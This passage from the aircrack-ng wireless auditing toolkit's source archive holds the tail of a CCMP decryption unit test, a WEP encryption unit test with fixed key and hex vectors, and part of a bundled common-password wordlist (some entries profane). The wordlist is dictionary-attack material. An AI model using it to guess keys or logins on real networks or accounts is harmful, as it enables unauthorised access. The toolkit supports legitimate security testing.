"\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c" "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9" "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2" "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f" "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6" "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3" "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a" "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0" "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36" "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d" "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0" "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b" "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31" "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a" "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6" "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec" "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6" "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43" "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27" "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26" "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46" "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03" "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7" "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22" "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55" "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a" "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2" "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d" "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f" "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b" "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60" "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec" "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c" "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b" "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0" "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67" "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb" "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a" "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac" "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8" "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d" "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee" "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f" "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b" "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36" "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e" "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d" "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79" "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0" "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54" "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95" "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c" "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf" "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54" "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb" "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85" "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a" "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3" "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21" "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4" "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d" "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5" "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f" "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1" "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62" "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1" "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48" "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2" "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b" "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee" "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a" "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc" "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf"; unsigned char expected[1496] = "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef" "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00" "\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x21\x6a\x12\x00\x00" "\x01\x01\xf7\x43\xac\x10\x00\x65\xac\x10\x00\x01\x08\x00\x26\x67" "\x04\x00\x03\x00\x44\x48\x43\x50\x43\x34\x65\x66\x21\x68\xa8\xc7" "\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60" "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4" "\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a" "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2" "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c" "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b" "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed" "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d" "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65" "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6" "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad" "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e" "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4" "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85" "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7" "\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c" "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9" "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2" "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f" "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6" "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3" "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a" "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0" "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36" "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d" "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0" "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b" "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31" "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a" "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6" "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec" "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6" "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43" "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27" "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26" "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46" "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03" "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7" "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22" "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55" "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a" "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2" "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d" "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f" "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b" "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60" "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec" "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c" "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b" "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0" "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67" "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb" "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a" "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac" "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8" "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d" "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee" "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f" "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b" "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36" "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e" "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d" "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79" "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0" "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54" "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95" "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c" "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf" "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54" "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb" "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85" "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a" "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3" "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21" "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4" "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d" "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5" "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f" "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1" "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62" "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1" "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48" "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2" "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b" "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee" "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a" "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc" "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf"; unsigned char expected_output[BUFFER_SIZE]; unsigned char input[BUFFER_SIZE]; bzero(&expected_output,BUFFER_SIZE); bzero(&input,BUFFER_SIZE); memcpy(&expected_output,expected,sizeof(expected)); memcpy(&input,h80211,sizeof(h80211)); if (! decrypt_ccmp( input, caplen1, tk1 )) error++; error += test(input,expected_output,sizeof(expected),argv[0]); return error; } aircrack-ng-1.2-beta3/test/cryptounittest/test-encrypt-wep.c0000644000000000000000000000775312251615154022742 0ustar rootroot/* * * test-encrypt-wep.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "tests.h" #define BLEN 256 #define KLEN 13 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char expected[BLEN] = "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18" "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac" "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0\x06\x01\x4f\x9f\x61\x1c\x4e\x6d" "\x54\x22\x83\x6f\x36\x43\x12\x01\x07\xb8\xdb\x3c\x32\xc6\xe2\x5f" "\x66\x4e\x7e\x55\x4f\x5d\x61\x30\x8a\xb9\xb7\x11\xcb\xae\xe9\x68" "\x66\x10\x7d\xe7\x39\x29\xef\xb0\x69\xca\xec\xcf\x2c\x68\x57\x52" "\x62\x4f\x89\xd6\x58\x05\xe3\x6a\xa1\xd1\xc8\x2c\x0b\x2d\xe4\xc9" "\x73\xd7\xb0\x4f\x65\x57\xa2\x19\xc7\xbf\xa1\xa7\x43\x49\x51\x14" "\xa4\x12\x24\x15\xb1\x71\x39\xde\x5e\x95\x15\xb4\xb9\xb5\x61\x57" "\xbf\x43\x24\xe2\xb8\x9f\x38\x2f\x45\x29\xfa\x95\x80\x18\x0d\x5d" "\x41\x35\x2a\x83\x44\x37\x71\xcb\x80\x3d\x9d\xc4\xdc\xc4\x26\xea" "\x28\xb9\xa7\x2b\x40\x56\x27\xee\xbc\xfa\xf7\x98\x09\x33\xd1\xe3" "\x85\x79\x0d\xd8\x87\xa3\xfe\x8e\x37\xc4\x48\xbf\x66\x86\xfa\x49" "\x0e\x0f\xf2\x82\x42\xfe\x87\xcd\x18\xb0\x8a\x91\xbb\x97\x9b\x4e" "\x92\x36\xb2\x47\x12\xf0\xeb\x09\xdc\x7a\xdf\x60\xdf\xcd\x19\x7c" "\x2d\x72\x4e\x3a\x6d\x8f\x53\x8e\xe1\x03\xeb\x44\x4a\x02\x9f\x52"; static unsigned char key[KLEN] = "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09"; static unsigned char input[BLEN] = "\x91\xCE\xFF\xF0\x9B\x76\xB1\xC7\xB3\xAE\xE9\xB6\x39\xE2\xE2\xCB" "\x46\xBB\x20\xDA\xEF\x0D\xD8\x65\x75\x37\xFF\x8B\x78\x49\x39\x6E" "\x08\x6D\x93\x0A\x40\xD1\xA7\xE6\x22\x6B\xFF\x94\x21\xA8\x0E\xDB" "\x33\x2B\x4B\x88\x19\x6C\x94\x0E\xF3\xD8\xCC\xCB\xAF\x99\x89\x49" "\x4F\x4B\x42\x4F\xF4\x96\xA6\xD3\xC9\x00\xB7\xC7\x11\x63\x95\x0E" "\x29\x71\x0A\x38\xC2\x04\xDF\xB5\x01\xAA\xCA\x86\x47\x4A\xA3\x41" "\xE6\x1A\x00\xA7\xD6\xFF\xE7\x89\x64\xB5\x38\x2A\x5D\xBC\x13\x94" "\x8E\x0C\x93\xB6\xC8\x4E\x4F\xC6\x06\x9B\xEF\x9B\x56\xE3\x90\x54" "\xCB\x34\x64\x0B\x3D\x12\x02\x62\xFE\xDC\xA8\x8E\x38\xCE\x36\x3A" "\xE8\x4D\xF0\xED\x71\x59\xE5\xED\xA4\xB1\x12\xEB\xD5\x83\xA6\xC9" "\x5C\x76\x98\x8D\x1B\xCB\x3C\x31\xF5\x10\xFE\x40\xCC\x83\x27\xE6" "\xDF\xB9\xE1\x84\xFC\xC3\xCC\x8D\x7A\xA3\xE5\x61\x56\x92\xAD\x7C" "\xA2\x62\x46\x6F\x5C\xA0\x16\xC4\x52\xDB\xF6\x75\xE1\x35\x22\x91" "\xE8\x81\x87\x13\xC1\xC1\x0A\xB0\xBE\x20\xE7\xF5\x55\x55\x0C\xF3" "\x99\x67\x53\xAF\x35\x15\xA9\x48\x72\xD8\xEB\x4A\xCF\x5B\xF5\xB6" "\xBC\x30\x24\xCB\xFD\x6C\x5C\xF5\x62\x5C\xFD\xA5\x65\xD9\xD4\xD7"; unsigned char buffer[BLEN]; memcpy(&buffer, &input, BLEN); encrypt_wep( buffer, BLEN, key, KLEN ); error += test(buffer,expected,BLEN,argv[0]); decrypt_wep( buffer, BLEN, key, KLEN ); error += test(buffer,input,BLEN,argv[0]); return error; } aircrack-ng-1.2-beta3/test/password.lst0000644000000000000000000003744412004033544016603 0ustar rootroot# Compiled by Solar Designer 12345 abc123 password passwd 123456 newpass notused Hockey internet asshole Maddock 12345678 newuser computer Internet Mickey qwerty fiction Cowboys Jordan Hatton test Michael ou812 orange 1234 Beavis 123 tigger Soccer shadow Purple Sports dragon michael wheeling mustang Monkey Qwerty School Snoopy Vikings jennifer money Justin mickey 0246 a1b2c3 chris david foobar Robert buster harley jordan stupid * apple fred 123abc Amanda Dakota summer sunshine andrew hello maggie monday pascal patrick Dallas Jessica Nicole Sendit Smokey baseball daniel diamond joshua michelle mike silver 1q2w3e Friends George Shadow Summer bandit coffee falcon fuckyou pepper richard thomas undead !@#$% Andrew Buster Cowboy Eagles Elwood Master Nathan changeme charlie golf green linda merlin monkey nite secret soccer steve 1234567 Apples Dragon Flower Mustang Pepper george guest hockey james koko matthew pookie robert xxx Dolphin Killer Miller Packers Tigger alex canada john master Chicago Kitten Polaris Spanky Tennis Thomas Tweety hammer letmein magic murphy scooter service snoopy sophie thx1138 tiger Ashley Basket Ginger Nirvana Teacher Yellow blue dave hunter sarah thursday welcome Bandit Volley aaaaaa ashley bear boomer calvin dallas friday happy jason madison martin mother nicole purple ranger 123go Airhead Braves Sparky angela brandy cindy dakota donald football ncc1701 shannon soleil taylor tuesday Abcdef August Footbal Heather Johnson Maggie Matthew Michelle Monday Pookie Rabbit Richard Smiley amanda anthony camaro carmen cowboy genesis jesus joseph justin miller ncc1701d pamela picture princess rabbit rocket sierra steven success tennis victoria willow Abcdefg Bubba Charlie Compute Computer Fuckyou Hammer Jeremy Library Password Runner Scooter Shorty Silver Taylor Tigers Travis Viper digital duke freedom gandalf ginger heather iloveyou jessica killer lizard loser mark monica oscar peanut pentium peter phoenix piglet rainbow runner sam saturn scott skippy startrek temp 111111 123123 2welcome Basebal Batman Brandy Cassie Dustin Fishing Harley Hunter Orlando Peaches Scotty Steven Voyager andrea ass avalon batman brandon bubba casey eagle frog1 fuckme info love marie misty natasha newyork nss poohbear rachel turtle walter wizard 00000000 Daniel Friday Hornets Joshua Online Rodman Science andy asdf august austin beavis brenda brian butthead charles cheese doctor dolphin flower jonathan junior knight marley maverick molson morgan mouse nathan nissan rebecca shalom smile sparky stephen whatever william 696969 Anthony Casper Helpme Jessie Mother Pebbles Pentium Secret Sonics Viking Wolves access alpha angel ath banane bob bond007 booger boris chicken cookie elephant elvis emily eric france gizmo goober horses island jeffrey jerry joe jupiter justice lisa lucky mindy missy muffin music protel rose sandy sharon snake spider spring test1 tommy toyota vincent wqsb 7777 8675309 Barney Bowling Camaro Casio Cookie Froggy Golfer Junior Knights Lakers Melissa Patrick Rachel Raiders Reggie Shelly Shithead Speedy Thunder Windows albert alexande america7 banana barbara barney billy biteme black chelsea claire connie debbie delta dennis eeyore fishing fucker helpme honda indiana jackson jasmine karen kevin lestat logan louis louise micro mitchell nirvana none paul pepsi perry phantom pierre rascal red reddog roger sanjose1 simon star superman tom topgun wilson 654321 Aikman Animal Avatar Basketb Gandalf Hacker Hendrix Hunting Iceman Leslie Letmein Scooby Snicker System Tazman Tootsie Turtle abcd1234 adg amber anna annie arthur benjamin bill boston braves buddy cgj control coyote daisy dog dorothy douglas edward faith family fish fisher ford freak1 friend grant iceman jack jeremy jim library marcel molly mountain nat nicarao olivia pat pearljam pmc ppp prince ryan salmon school skeeter special spencer stinky sunflowe teacher test123 tony travel viper wally winston winter wolf yellow zephyr ziggy !@#$%^ 1928 2112 90210 Arthur Biteme Blackie Boomer Bubbles Carrie Charles Denise Fender Fluffy Fucker Fuckme Golfing Intel Jasmine Joseph Knight Lindsey Loser Orange Peanut People Porsche Rebecca Rhonda Sanders Speech Tanner Teresa Turbo Volleyb Wrestle alaska apples asdfgh bigdog boss casper cat chapman chocolat christin classroo cocacola coke cougar cricket crystal danny david1 dean disney einstein elizabet felix fox frank giants grace gregory hannah hendrix hola howard jake janice jesus1 julian kelsey kitten12 lacrosse lakers larry leslie marina matt melissa millie montana moose morris orion pantera paris piano pizza please popcorn q1w2e3 radio sales sammy shelly shithead stanley steelers stimpy student susan sydney tammy testtest texas thunder tweety victory virginia willie willy win95 zapata 1 Alaska Alicia Bailey Banana Beaner Bigdog Blazer Blondie Brandon Center Cheese Chicken Chris Compaq Dreams Falcon Family Fisher Flyers Friend FuckYou Global Gopher Guitar Gymnast Hearts Huskers Kinder Larson Lestat Lindsay Minnie Muffin Pamela Panther Picard Pyramid Raider Rainbow Reddog Sampler Shannon Shotgun Sierra Skeeter Spanish Stacey Student Trixie Xanadu Yankees Zombie a12345 a1b2c3d4 abc adidas alexis angie april asdfjkl; baby betty bilbo bonnie booboo bradley brooke caitlin carrie chip chris1 christy cinder claude claudia colorado cowboys curtis daytek donna duck dusty eagle1 enigma francis francois franklin froggy gabriel ghost gopher grover happy1 helen henry honey horse house jackie jean jenny joey kelly laura lauren lincoln loveme margaret mary max mercedes mercury michel midnight mine mirror mozart nicholas nothing oliver packard pass peace phil porsche psycho pumpkin punkin 